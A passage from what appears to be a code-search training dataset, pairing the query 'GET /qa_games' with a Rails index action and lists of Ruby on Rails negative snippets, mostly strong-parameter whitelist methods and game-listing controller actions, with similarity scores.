"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def params(list)\n @declared_params = list\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def safelist; end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def valid_for_params_auth?; end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] |
[
"0.69485277",
"0.6813547",
"0.6799911",
"0.6796169",
"0.6745757",
"0.6741778",
"0.6527065",
"0.65204644",
"0.64925444",
"0.64314413",
"0.64314413",
"0.64314413",
"0.6398711",
"0.6355623",
"0.6355327",
"0.6345812",
"0.6343951",
"0.6338371",
"0.6327366",
"0.6327366",
"0.6327366",
"0.63136744",
"0.63001245",
"0.6264419",
"0.62613016",
"0.6259317",
"0.623719",
"0.6227251",
"0.6220037",
"0.621864",
"0.620889",
"0.6199145",
"0.61970234",
"0.61728656",
"0.61563927",
"0.6155928",
"0.6152361",
"0.6136508",
"0.6122662",
"0.6109611",
"0.60738647",
"0.6072253",
"0.6058575",
"0.60571283",
"0.6044282",
"0.6033789",
"0.6018841",
"0.601607",
"0.6014327",
"0.6010113",
"0.60086375",
"0.60080284",
"0.60060716",
"0.6004647",
"0.6004647",
"0.5999453",
"0.59945875",
"0.5990942",
"0.5983142",
"0.5969449",
"0.59688187",
"0.5965012",
"0.5964062",
"0.5960668",
"0.59599936",
"0.59338915",
"0.59288186",
"0.5921217",
"0.59072363",
"0.59049433",
"0.58997554",
"0.58917797",
"0.5890338",
"0.5879621",
"0.5879621",
"0.5879621",
"0.5872355",
"0.58605725",
"0.5853338",
"0.58435106",
"0.5842603",
"0.58328134",
"0.5830374",
"0.5829657",
"0.5828463",
"0.5817261",
"0.58149874",
"0.58147764",
"0.5810487",
"0.5801209",
"0.5801009",
"0.5801009",
"0.5794343",
"0.5785498",
"0.57794553",
"0.5778505",
"0.577467",
"0.57682633",
"0.5768243",
"0.57627535",
"0.5757951"
] |
0.0
|
-1
|
GET /qa_games GET /qa_games.json
|
def index
@qa_games = QaGame.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @games = Game.available\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n render json: @games\n end",
"def index\n game = Game.all\n\n render json: game, include: :teams\n end",
"def index\n @games = current_user.games\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.order('title')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def games\n @logger.log(BEFORE_CHECK_GAMES)\n parsed_response = get_and_parse(\"/api/games/my_turn.json\")\n games = parsed_response[\"body\"]\n @logger.log(AFTER_CHECK_GAMES, \"Found #{games.size} games\")\n games\n end",
"def get_games_url\n \"#{@user_url}/games/?tab=all\"\n end",
"def index\n @games = Game.all\n @player_games = current_user.games rescue nil\n @ongoing_games = Game.where(outcome: 'In progress').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @mini_games = MiniGame.all\n render json: @mini_games, status: :ok\n end",
"def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end",
"def index\n @games = Game.find_all_by_meeting_id(@meeting.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n listing_games\n end",
"def show\n render json: @games_leaderboard\n end",
"def index\n @games = Game.paginate page: params[:page], order: 'created_at desc', per_page: 10\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @arcade_games }\n end\n end",
"def index\n game = Game.find(params[:game_id])\n @player_games = game.player_games\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @player_games }\n format.json { render :json => @player_games}\n end\n end",
"def index\n @video_games = VideoGame.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @video_games }\n end\n end",
"def index\n @games = Game.get_all_active\n end",
"def show\n render json: @game\n end",
"def show\n # puts \"PARAMSSSSS CONTROLLER #{params[:id]}\"\n url = \"https://api-2445582011268.apicast.io/games/#{params[:id]}\"\n response = HTTParty.get(url, headers: {\"user-key\" => Figaro.env.igdb_api_key, \"Accept\": \"application/json\"})\n @game_response = response.parsed_response\n end",
"def index\n gon.yourID = current_user.id\n current_user.game == nil ? @games = Game.all : @games = Game.find(current_user.game.id)\n @team1 = @games.team1.users if @games.try :team1\n @team2 = @games.team2.users if @games.try :team2\n respond_to do |format|\n format.html\n format.json { render :json => { :games => @games.to_json(:include => [:users]),\n :user => current_user.game,\n :will => current_user.will,\n :team1 => @team1,\n :team2 => @team2 }\n }\n end\n end",
"def show\n @game = Game.find(params[:id])\n render json: @game, status: 200\n end",
"def search\n games_data = BoardGameAtlas::API.search(params[:name])\n render json: { games: games_data.map }\n end",
"def show\n @game = Game.find(params[:id])\n @home_team = Team.find(@game.home_team_id)\n @away_team = Team.find(@game.away_team_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show_game\n @game = Event.where(\n game_id: params[:game_id]\n ).order(:game_date, :id)\n\n render json: @game, status: 200\n end",
"def index\n @games_from_results = GamesFromResult.all\n end",
"def index\n @games = @theme.games.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @games.to_xml }\n end\n end",
"def index\n @games = Game.all\n raise RecordNotFound, 'No records on games' if @games.empty?\n\n # TODO: Just for Test. Do not forget to delete when finish the test.\n # raise 'error !!'\n # sleep 1\n\n render 'index', formats: 'json', handlers: 'jbuilder'\n end",
"def show\n @user = User.find(params[:user_id]) \n @game = @user.games.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @game }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def index\n @games = @organization.games\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n\t\t@games = Game.all\n\tend",
"def get_games(year, input)\r\n page = 1\r\n query = 'https://www.balldontlie.io/api/v1/games' + '?seasons[]=' + year.to_s + '&team_ids[]=' + input.to_s + '&page=' + page.to_s\r\n response_meta = HTTParty.get(query)[\"meta\"]\r\n response_data = HTTParty.get(query)[\"data\"]\r\n total_pages = response_meta[\"total_pages\"]\r\n games_hash = {}\r\n\r\n while page <= total_pages\r\n\r\n #Go back and maximize the per_page limit to minimize the number of calls\r\n query = 'https://www.balldontlie.io/api/v1/games' + '?seasons[]=' + year.to_s + '&team_ids[]=' + input.to_s + '&page=' + page.to_s + '&per_page=50'\r\n HTTParty.get(query)[\"data\"].each do |i|\r\n\r\n\r\n #change formatting of date\r\n date = i[\"date\"].split(\"-\")\r\n day_value = date[2].split(/T/).shift\r\n key_date = \"#{date[0]}/#{date[1]}/#{day_value}\"\r\n formatted_date = \"#{date[1]}/#{day_value}/#{date[0]}\"\r\n\r\n \r\n\r\n games_hash[key_date] = {\r\n \"date\" => formatted_date,\r\n \"home_team\" => i[\"home_team\"][\"full_name\"],\r\n \"visitor_team\" => i[\"visitor_team\"][\"full_name\"],\r\n \"home_team_score\" => i[\"home_team_score\"],\r\n \"visitor_team_score\" => i[\"visitor_team_score\"]\r\n }\r\n \r\n\r\n end\r\n page += 1 \r\n end\r\n games_hash\r\n end",
"def index\n @games = current_user.games_ended.paginate(page: current_page, per_page: GAMES_PER_PAGE)\n games_count = current_user.games_ended.count\n\n render json: { games_count: games_count,\n current_page: current_page,\n total_pages: total_pages(games_count),\n games: @games\n }, status: 200\n end",
"def index\n @games = Game.paginate(page: params[:page], per_page: 10) # list 10 games per page\n end",
"def fetch_games\n games, doc = [], get_xml(bungie_net_recent_games_url)\n (doc/:item).each_with_index do |item, i|\n games[i] = {\n :title => (item/:title).inner_html,\n :date => (item/:pubDate).inner_html.to_time,\n :link => (item/'link').inner_html,\n :description => (item/:description).inner_html,\n :gameid => pull_gameid((item/'link').inner_html)\n }\n end\n return games\n end",
"def index\n @howtoplaygames = Howtoplaygame.all\n end",
"def find_games\n data.each do |_, category|\n category['games'] = find_games_on_this_page(category.fetch('url'))\n end\n end",
"def index\n if params[:term]\n @games = Game.search(params[:term]).paginate(page: params[:page], per_page: 10)\n elsif params[:filter]\n @filter = params[:filter]\n ids = []\n if @filter == 'popular'\n Game.popular(25).each { |k, _v| ids << k }\n elsif @filter == 'favorited'\n Game.favorited(25).each { |k, _v| ids << k }\n elsif @filter == 'owned'\n Game.owned(25).each { |k, _v| ids << k }\n elsif @filter == 'recent'\n Game.recently_added(25).each { |g| ids << g }\n elsif @filter == 'import'\n Game.none\n end\n @games = Game.for_ids_with_order(ids).paginate(page: params[:page], per_page: 10)\n else\n ids = []\n Game.popular(25).each { |k, _v| ids << k }\n @games = Game.for_ids_with_order(ids).paginate(page: params[:page], per_page: 10)\n end\n\n respond_to do |format|\n format.json.array! @games, partial: 'game.json'\n end\n end",
"def autocomplete_game_search \t\t\t\t \n #@games = Game.name_like(params[\"q\"])[0..10]\n #platform_result = Game.platform_like(params[\"q\"])[0..10] \n @games = Game.search({\"name_cont\" => params[\"q\"]}).result[0..10]\n platform_games = Game.search({\"platform_cont\" => params[\"q\"]}).result[0..10]\n @games = @games | platform_games\n render :json => @games.collect {|game| [game[\"name\"] + \" [\"+game[\"platform\"]+\"]\", game[\"platform\"]]}\n end",
"def show\n @user = User.find_by_id(params[:id])\n\n if @user\n render json: @user.to_json(include: [:games]), status: 200\n else\n render json: {error: \"User not found\"}, status: 404\n end\n end",
"def game\n fetch('games.super_mario.games')\n end",
"def index\n team_name = params[:team_name]\n team = Team.is_like(team_name).first if team_name.present?\n if team\n redirect_to team_path(team)\n end\n\n @show_jumbo = anonymous and request.path == '/'\n @games = Game.relevant.order(updated_at: :desc )\n end",
"def index\n @playedgames = Playedgame.all\n end",
"def fetch_json(game)\n RestClient.post(\"#{ENV['BASE_URI']}\" + \"#{ENV['ENDPOINT']}\", game.to_json, content_type: :json)\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @bestgame = Bestgame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bestgame }\n end\n end",
"def show\n @team_schedule = Schedule.all.where(laxid: params[:laxid]).last[:games]\n ap @team_schedule\n respond_to do |format|\n format.json{render json: @team_schedule}\n end\n end",
"def index\n @available_games = Game.available(current_user)\n @users_games = Game.users_games(current_user)\n end",
"def index\n @league_games = LeagueGame.all\n end",
"def index\n @players = Player.order(:gamertag_lower).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @players }\n end\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def teams\n render json: @team_query\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @game }\n end\n end",
"def index\n @teams = Team.all\n render json: @teams\n end",
"def games_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.games_get ...\"\n end\n # resource path\n local_var_path = \"/games\"\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2004')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#games_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n if params[:show] == \"upcoming\"\n @games = Game.where(:final => false).order(\"kickoff\")\n else\n @games = Game.order(\"kickoff\")\n end\n\n # Find all tips for the currently logged in user\n setup_user_tips_hash\n setup_winners_right_now\n calculate_odds\n\n # Get the leaders for the sidebar\n @leaders = User.order(\"points DESC\").limit(10)\n\n # Find the latest comment. For the polling to work.\n @last_comment = Comment.order(\"updated_at DESC\").first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = current_creator.games\n redirect_to root_path\n end",
"def show\n @user = User.find(params[:id])\n @games = @user.games\n\n end",
"def index\n if params[:term]\n @games = Game.search(params[:term]).paginate(page: params[:page], per_page: 10)\n elsif params[:filter]\n @filter = params[:filter]\n ids = []\n if @filter == 'popular'\n Game.popular(25).each { |k, _v| ids << k }\n elsif @filter == 'favorited'\n Game.favorited(25).each { |k, _v| ids << k }\n elsif @filter == 'owned'\n Game.owned(25).each { |k, _v| ids << k }\n elsif @filter == 'recent'\n Game.recently_added(25).each { |g| ids << g }\n elsif @filter == 'import'\n Game.none\n end\n @games = Game.for_ids_with_order(ids).paginate(page: params[:page], per_page: 10)\n else\n ids = []\n Game.popular(25).each { |k, _v| ids << k }\n @games = Game.for_ids_with_order(ids).paginate(page: params[:page], per_page: 10)\n end\n\n respond_to do |format|\n format.html\n format.json.array! @games, partial: 'game.json'\n format.js\n end\n end",
"def index\n @games = current_user.games\n end",
"def index\n @wantedgames = Wantedgame.all\n end",
"def show\n @gameplay = Gameplay.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gameplay }\n end\n end",
"def show\n render json: Game.find(params[:id])\n end",
"def index\n @players = Player.all\n render json: @players, status: 200\n end",
"def show\n @game = Game.instance\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game }\n end\n end"
] |
[
"0.73606706",
"0.7263978",
"0.7141979",
"0.7111316",
"0.70508915",
"0.70505524",
"0.70505524",
"0.70505524",
"0.7007634",
"0.69324654",
"0.68992317",
"0.68891084",
"0.6868704",
"0.6857978",
"0.68434566",
"0.67646885",
"0.6754229",
"0.6716776",
"0.6709283",
"0.669391",
"0.66933686",
"0.6689779",
"0.66687983",
"0.6660548",
"0.6651707",
"0.6593981",
"0.6584501",
"0.6563399",
"0.6560396",
"0.65179867",
"0.65054417",
"0.6490754",
"0.6487693",
"0.64776325",
"0.64767486",
"0.64751184",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64713746",
"0.64400923",
"0.6434938",
"0.64270365",
"0.64200723",
"0.6413083",
"0.6410982",
"0.640941",
"0.64075875",
"0.64033186",
"0.63952917",
"0.63861626",
"0.6383824",
"0.63747764",
"0.63655114",
"0.6356188",
"0.6356188",
"0.6356188",
"0.6356188",
"0.6356188",
"0.6356188",
"0.6356188",
"0.63557684",
"0.6343637",
"0.6332106",
"0.6325553",
"0.63208115",
"0.63200045",
"0.6319576",
"0.6308638",
"0.63084275",
"0.63058335",
"0.6294837",
"0.6291469",
"0.62852967",
"0.62803227",
"0.62789553",
"0.6274999",
"0.62621444",
"0.62617415",
"0.62369657",
"0.6230081"
] |
0.72571254
|
2
|
GET /qa_games/1 GET /qa_games/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @games = Game.available\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n render json: @games\n end",
"def index\n @qa_games = QaGame.all\n end",
"def index\n @games = current_user.games\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n game = Game.all\n\n render json: game, include: :teams\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def show\n @game = Game.find(params[:id])\n render json: @game, status: 200\n end",
"def show\n # puts \"PARAMSSSSS CONTROLLER #{params[:id]}\"\n url = \"https://api-2445582011268.apicast.io/games/#{params[:id]}\"\n response = HTTParty.get(url, headers: {\"user-key\" => Figaro.env.igdb_api_key, \"Accept\": \"application/json\"})\n @game_response = response.parsed_response\n end",
"def index\n @games = Game.order('title')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @mini_games = MiniGame.all\n render json: @mini_games, status: :ok\n end",
"def index\n @games = Game.find_all_by_meeting_id(@meeting.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def show\n render json: @games_leaderboard\n end",
"def show\n render json: @game\n end",
"def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end",
"def show\n @user = User.find(params[:user_id]) \n @game = @user.games.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @game }\n end\n end",
"def index\n @games = Game.all\n @player_games = current_user.games rescue nil\n @ongoing_games = Game.where(outcome: 'In progress').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @bestgame = Bestgame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bestgame }\n end\n end",
"def show_game\n @game = Event.where(\n game_id: params[:game_id]\n ).order(:game_date, :id)\n\n render json: @game, status: 200\n end",
"def show\n @game = Game.find(params[:id])\n @home_team = Team.find(@game.home_team_id)\n @away_team = Team.find(@game.away_team_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @arcade_games }\n end\n end",
"def index\n @video_games = VideoGame.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @video_games }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @game }\n end\n end",
"def show\n render json: Game.find(params[:id])\n end",
"def show\n @team_schedule = Schedule.all.where(laxid: params[:laxid]).last[:games]\n ap @team_schedule\n respond_to do |format|\n format.json{render json: @team_schedule}\n end\n end",
"def index\n @games = Game.paginate page: params[:page], order: 'created_at desc', per_page: 10\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def show\n @gameplay = Gameplay.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gameplay }\n end\n end",
"def index\n game = Game.find(params[:game_id])\n @player_games = game.player_games\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @player_games }\n format.json { render :json => @player_games}\n end\n end",
"def get_games_url\n \"#{@user_url}/games/?tab=all\"\n end",
"def fetch_json(game)\n RestClient.post(\"#{ENV['BASE_URI']}\" + \"#{ENV['ENDPOINT']}\", game.to_json, content_type: :json)\n end",
"def index\n gon.yourID = current_user.id\n current_user.game == nil ? @games = Game.all : @games = Game.find(current_user.game.id)\n @team1 = @games.team1.users if @games.try :team1\n @team2 = @games.team2.users if @games.try :team2\n respond_to do |format|\n format.html\n format.json { render :json => { :games => @games.to_json(:include => [:users]),\n :user => current_user.game,\n :will => current_user.will,\n :team1 => @team1,\n :team2 => @team2 }\n }\n end\n end",
"def show\n @user = User.find_by_id(params[:id])\n\n if @user\n render json: @user.to_json(include: [:games]), status: 200\n else\n render json: {error: \"User not found\"}, status: 404\n end\n end",
"def index\n listing_games\n end",
"def show\n @player_game = PlayerGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @player_game }\n end\n end",
